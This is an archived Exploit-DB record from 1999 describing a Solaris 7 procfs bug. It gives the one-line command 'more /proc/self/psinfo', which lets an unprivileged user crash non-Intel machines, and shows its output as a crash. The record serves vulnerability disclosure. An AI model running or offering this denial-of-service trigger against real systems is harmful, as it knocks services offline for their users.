Sun Solaris 7.0 - 'procfs' Denial of Service

EDB-ID:

19326


Type:

dos


Platform:

Solaris

Date:

1999-03-09


source: https://www.securityfocus.com/bid/448/info

A nonpriviliged user can crash any 32 or 64 bit non-intel machine running Solaris 7 by executing the following:

more /proc/self/psinfo

This is due to a bug in the Solaris 7 procfs. 

%more /proc/self/psinfo

[crash]